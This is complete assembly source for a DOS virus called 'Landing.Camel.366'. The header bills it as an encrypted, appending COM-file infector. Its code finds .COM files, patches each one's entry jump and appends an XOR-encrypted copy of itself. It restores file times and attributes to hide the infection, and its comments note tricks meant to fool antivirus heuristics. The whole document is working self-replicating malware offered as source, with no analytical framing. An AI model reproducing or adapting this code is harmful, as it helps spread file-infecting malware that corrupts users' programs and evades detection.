;==================================================;| ; LANDING.CAMEL.2.366 ;| ;==================================================;| ; TSR..................... No ;| ; Encrypted............... Yes ;| ; Appending Virus......... Yes ;| ; COM infector............ Yes ;| ; Reset Attributes........ Yes ;| ; Reset Time/Date......... Yes ;| ;==================================================;| ;| .MODEL TINY ;| .286 ;| .CODE ;| ;| ORG 100H ;| ;| ;**************************************************;| ; This is where the virus starts ;| ;**************************************************;| ;| ;==================================================;| LANDING_CAMEL: ;| ;==================================================;| ;| DB 0E9H ;|contains the jump code DW 0 ;|contains the offset where to jump ;| ;==================================================;| VIRUS_START: ;| ;==================================================;| ;| CALL FIND_OFFSET ;|calculate the delta offset ;| ;**************************************************;| ; Calculate the Delta Offset ;| ;**************************************************;| ;| ;==================================================;| FIND_OFFSET: ;| ;==================================================;| ;| POP BP ;| SUB BP,OFFSET FIND_OFFSET ;|BP now contains the delta offset ;| ;**************************************************;| ; Decrypt the virus code ;| ;**************************************************;| ;| LEA AX,[ENCRYPT_DECRYPT+BP] ;|Load ax with decrypt offset CALL AX ;|Decrypt the virus code ;| ;++++++++++++++++++++++++++++++++++++++++++++++++++;| START_ENCRYPT: ;|Start encrypted region ;++++++++++++++++++++++++++++++++++++++++++++++++++;| ;| ;**************************************************;| ; Restore the original 3 bytes of the file ;| ;**************************************************;| ;| LEA DI,[BP+JMP_BUF] ;|Restore 3 bytes into memory MOV SI,100H ;| XCHG SI,DI ;| PUSH DI ;|Save 100H for the return MOVSW ;|Move word into memory MOVSB ;|Move byte into memory ;| ;**************************************************;| ; Set a new DTA ;| ;**************************************************;| ;| LEA DX,[BP+DTA] ;|Set new dta buffer which is 42 bytes MOV AH,1AH ;|DOS function=Set Disk Transfer Address INT 21H ;| ;| ;**************************************************;| ; Find first file to infect ;| ;**************************************************;| ;| MOV BH,4EH ;|DOS function=Find 1st Matching File XCHG AX,BX ;|Fool TBAV MOV CX,7 ;|Any file attribute LEA DX,[BP+TYPE_COM] ;|Search for .COM files only INT 21H ;| JC QUIT ;No matching file found ;| ;**************************************************;| ; Check the extension to ensure it is a COM ;| ;**************************************************;| ;| MOV CX,13D ;|Max size of a file name LEA SI,[BP+OFFSET DTA+1EH] ;|Load offset of filename ;| ;==================================================;| CHECK_EXTENSION: ;|Loop to test extension ;==================================================;| ;| LODSB ;|Load a letter into AL CMP AL,"." ;|Is it a point? JNE CHECK_EXTENSION ;|No! Test the next letter INC SI ;|Yes! Now SI points to second extension letter CMP WORD PTR [SI], "MO" ;|Second and third letters are "OM"? JNE QUIT ;|No! Find Next JMP INFECT ;|Go infect the bastard ;| ;**************************************************;| ; All finished so let us be leaving now ;| ;**************************************************;| ;| ;==================================================;| QUIT: ;| ;==================================================;| ;| ;**************************************************;| ; Restore original DTA ;| ;**************************************************;| ;| MOV AX,80H ;|Change the DTA to original MOV DH,1AH ;|DOS function=Set Disk Transfer Address XCHG AX,DX ;| INT 21H ;| ;| ;**************************************************;| ; Clear registers ;| ;**************************************************;| ;| XOR AX,AX ;| XOR BX,BX ;| XOR CX,CX ;| XOR DX,DX ;| XOR BP,BP ;| XOR SI,SI ;| XOR DI,DI ;| ;| ;**************************************************;| ; Pass control to the host program in memory ;| ;**************************************************;| ;| RET ;| ;| ;==================================================;| INFECT: ;| ;==================================================;| ;| ;**************************************************;| ; Save original attributes ;| ;**************************************************;| ;| LEA DX,[BP+DTA+1EH] ;|dx holds the name of the file XOR CH,CH ;| MOV CL,[BP+OFFSET DTA+15H] ;|get file attributes from DTA MOV BYTE PTR[BP+OLD_ATTR],CL ;|save them into file_attr variable ;| ;**************************************************;| ; Reset attributes to archive ;| ;**************************************************;| ;| MOV CX,4301H ;|DOS function=Set File Attribute XOR AX,AX ;|CX=0 so file attribute is normal file XCHG AX,CX ;| INT 21H ;| ;| ;**************************************************;| ; Open file for reading and writing and xchg ;| ;**************************************************;| ;| MOV AX,3D02H ;|DOS function=Open a File (Read and Write) LEA DX,[BP+DTA+1EH] ;|DX holds the name of the file INT 21H ;| ;| XCHG BX,AX ;|Exchange handle ;| ;**************************************************;| ; Save original time and date ;| ;**************************************************;| ;| MOV AX,5700H ;|DOS function=Get File Time/Date INT 21H ;| MOV WORD PTR [BP+OLD_TIME],CX ;|Save old time in file_time MOV WORD PTR [BP+OLD_DATE],DX ;|Save old date in file_date ;| ;**************************************************;| ; Check file for previous infection ;| ;**************************************************;| ;| MOV AH,3FH ;|DOS function=Read from File LEA DX,[BP+JMP_BUF] ;|Save them into jmpbuf MOV CX,3 ;|Read 3 bytes INT 21H ;| ;| MOV AX,WORD PTR [BP+DTA+26] ;|Get filesize from DTA in AX MOV CX,WORD PTR [BP+JMP_BUF+1] ;| ADD CX,VIRUS_LENGTH+3 ;|CX=filesize-virus+3 CMP CX,AX ;|Compare the 2 values ;| JE CLOSE_FILE ;|Already infected! ;| ;**************************************************;| ; Prepare the jump ;| ;**************************************************;| ;| MOV BYTE PTR [BP+BUFFER],0E9H ;|JMP code MOV AX,WORD PTR [BP+DTA+26] ;|Get file size SUB AX,3 ;|AX=filesize-3 (size of JMP) MOV WORD PTR [BP+BUFFER+1],AX ;|Offset of JMP ;| ;**************************************************;| ; Goto the beginning of the file ;| ;**************************************************;| ;| MOV AX,4200H ;|DOS function=Set File Pointer XOR CX,CX ;|go to beginning of file (BOF) XOR DX,DX ;| INT 21H ;| ;| ;**************************************************;| ; Write our jump ;| ;**************************************************;| ;| MOV AX,03H ;|DOS function=Write to File MOV CH,40H ;|Write 3 bytes to beginning of file LEA DX,[BP+BUFFER] ;|From buffer XCHG AX,CX ;| INT 21H ;| ;| ;**************************************************;| ; Goto the end of the file ;| ;**************************************************;| ;| MOV AX,4202H ;|DOS function=Set File Pointer XOR CX,CX ;|Go to end of file (EOF) XOR DX,DX ;| INT 21H ;| ;| ;**************************************************;| ; Get a new encryption key ;| ;**************************************************;| ;| MOV AH,2CH ;|DOS Function-Get System Time INT 21H ;|Call Interrupt ;| XCHG CH,CL ;|Switch hours with minutes ADD DX,CX ;|Add minutes to seconds and hours to hundredths XOR DX,WORD PTR [ENCRYPT_KEY+BP] ;|XOR with previous key for increased randomness MOV WORD PTR [ENCRYPT_KEY+BP],DX ;|Save the new encryption key ;| ;**************************************************;| ; Copy the WRITE_VIRUS procedure to the heap ;| ;**************************************************;| ;| LEA SI,[BP+WRITE_VIRUS] ;|Copy the WRITE_VIRUS procedure LEA DI,[BP+HEAP_DATA] ;|To the heap MOV CX,OFFSET END_WRITE_VIRUS - OFFSET WRITE_VIRUS ;|Size of procedure REP MOVSB ;|Copy the code from SI to DI ;| ;**************************************************;| ; Prepare the write conditions and save them ;| ;**************************************************;| ;| MOV AH,40H ;|DOS function=Write to File MOV CX,VIRUS_LENGTH ;|Size of virus LEA DX,[BP+VIRUS_START] ;|From beginning PUSHA ;|Save registers to stack ;| ;**************************************************;| ; Write the virus to the end of the file ;| ;**************************************************;| ;| CALL HEAP_DATA ;|Write the virus ;| ;==================================================;| CLOSE_FILE: ;| ;==================================================;| ;| ;**************************************************;| ; Restore original time/date attributes ;| ;**************************************************;| ;| MOV AX,5700H ;|DOS function=Set File Time/Date MOV DX,WORD PTR [BP+OLD_DATE] ;|DX=original date value MOV CX,WORD PTR [BP+OLD_TIME] ;|CX=original time value ADD AX,1 ;| INT 21H ;| ;| ;**************************************************;| ; Close the file ;| ;**************************************************;| ;| MOV AH,3EH ;|Close file function INT 21H ;|Calling interrupt ;| ;**************************************************;| ; Restore original file attributes ;| ;**************************************************;| ;| LEA DX,[BP+OFFSET DTA+1EH] ;|DX=file name XOR AH,AH ;| MOV AL,BYTE PTR [BP+OLD_ATTR] ;|CL=original file attribute MOV CX,4301H ;|DOS function=Set File Attribute XCHG AX,CX ;| INT 21H ;| ;| ;**************************************************;| ; Finished infection ;| ;**************************************************;| ;| JMP QUIT ;| ;| ;**************************************************;| ; Data entries -ENCRYPTED- ;| ;**************************************************;| ;| MSG DB 'Landing.Camel.366',0 ;|Virus name and author JMP_BUF DB 0CDH,20H,0 ;|INT 20H TYPE_COM DB '*.C*',0 ;|What kind of files to search ;| ;==================================================;| WRITE_VIRUS: ;| ;==================================================;| ;| ;**************************************************;| ; Write the virus to file from the heap ;| ;**************************************************;| ;| POP WORD PTR [HEAP_WORD+BP] ;|Save return address for RET in heap LEA AX,[ENCRYPT_DECRYPT+BP] ;|Load AX with encrypt offset CALL AX ;|Encrypt virus code POPA ;|Restore infection settings INT 21H ;|Write the virus to file LEA AX,[ENCRYPT_DECRYPT+BP] ;|Load AX with decrypt offset CALL AX ;|Decrypt virus code PUSH WORD PTR [HEAP_WORD+BP] ;|Push RET address from heap back onto stack RET ;| ;| END_WRITE_VIRUS EQU $ ;|End of code running from heap ;| ;++++++++++++++++++++++++++++++++++++++++++++++++++;| END_ENCRYPT EQU $ - 0001H ;|End encrypted region ;++++++++++++++++++++++++++++++++++++++++++++++++++;| ;| ;==================================================;| ENCRYPT_DECRYPT: ;| ;==================================================;| ;| ;**************************************************;| ; Encryption/Decryption procedure ;| ;**************************************************;| ;| LEA SI,[BP+START_ENCRYPT] ;|Start of encryption MOV DI,SI ;|Go word by word from start MOV CX,(END_ENCRYPT-START_ENCRYPT+1)/2 ;|Length of encrypted area ;| ;==================================================;| XOR_LOOP: ;| ;==================================================;| ;| LODSW ;|Load word from SI into AX ;|and increment SI by one JNC FALSE_JMP1 ;|Anti-heuristic ;| ;==================================================;| FALSE_JMP2: ;| ;==================================================;| ;| STOSW ;|Load word from AX into DI ;|and increment DI by one LOOP XOR_LOOP ;|Loop until finished ;| RET ;| ;| ;==================================================;| FALSE_JMP1: ;| ;==================================================;| ;| DB 35H ;|This means XOR AX,WORD VALUE ;| ENCRYPT_KEY DW 0000 ;|Random encryption key ;| JNC FALSE_JMP2 ;|Anti-heuristic ;| ;==================================================;| VIRUS_END: ;| ;==================================================;| ;| ;**************************************************;| ; The heap data entries ;| ;**************************************************;| ;| DTA DB 43 DUP (?) ;|Our new DTA buffer OLD_ATTR DB ? ;|Original file attributes OLD_TIME DW ? ;|Original file time OLD_DATE DW ? ;|Original file date BUFFER DB 3 DUP (?) ;|3 bytes buffer. Used for checking ;|if the file was already infected. HEAP_WORD DW ? ;|Saves destination IP to stack ;| ;==================================================;| HEAP_DATA: ;| ;==================================================;| VIRUS_LENGTH EQU OFFSET VIRUS_END - OFFSET VIRUS_START END LANDING_CAMEL